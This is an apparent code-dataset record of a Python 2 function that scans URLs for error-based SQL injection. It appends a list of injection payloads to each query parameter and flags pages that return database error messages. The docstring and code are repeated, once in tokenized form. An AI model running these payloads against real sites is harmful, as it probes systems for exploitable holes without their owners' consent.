(self, s)
checks for error based sql injection,
        most of the codes here are from webpwn3r 
        project the one who has found an lfi in 
        yahoo as i remember, you can find a separate 
        tool in my blog
checks for error based sql injection,
        most of the codes here are from webpwn3r 
        project the one who has found an lfi in 
        yahoo as i remember, you can find a separate 
        tool in my blog
checks for error based sql injection most of the codes here are from webpwn3r project the one who has found an lfi in yahoo as i remember you can find a separate tool in my blog
def checkSqli(self, s):
        """
        checks for error based sql injection,
        most of the codes here are from webpwn3r 
        project the one who has found an lfi in 
        yahoo as i remember, you can find a separate 
        tool in my blog 
        """
        clearScr()
        print "[~] Checking SQL injection"
        payloads = ["3'", "3%5c", "3%27%22%28%29", "3'><", "3%22%5C%27%5C%22%29%3B%7C%5D%2A%7B%250d%250a%3C%2500%3E%25bf%2527%27"]
        check = re.compile("Incorrect syntax|mysql_fetch|Syntax error|Unclosed.+mark|unterminated.+qoute|SQL.+Server|Microsoft.+Database|Fatal.+error", re.I)
        for url in s:
            try:
                for param in url.split('?')[1].split('&'):
                    for payload in payloads:
                        power = url.replace(param, param + payload.strip())
                        #print power
                        html = urllib2.urlopen(power).readlines()
                        for line in html:
                            checker = re.findall(check, line)
                            if len(checker) != 0 :
                                print ' [*] SQLi found -> ', power
            except:
                pass
def checkSqli ( self , s ) : clearScr ( ) print "[~] Checking SQL injection" payloads = [ "3'" , "3%5c" , "3%27%22%28%29" , "3'><" , "3%22%5C%27%5C%22%29%3B%7C%5D%2A%7B%250d%250a%3C%2500%3E%25bf%2527%27" ] check = re . compile ( "Incorrect syntax|mysql_fetch|Syntax error|Unclosed.+mark|unterminated.+qoute|SQL.+Server|Microsoft.+Database|Fatal.+error" , re . I ) for url in s : try : for param in url . split ( '?' ) [ 1 ] . split ( '&' ) : for payload in payloads : power = url . replace ( param , param + payload . strip ( ) ) #print power html = urllib2 . urlopen ( power ) . readlines ( ) for line in html : checker = re . findall ( check , line ) if len ( checker ) != 0 : print ' [*] SQLi found -> ' , power except : pass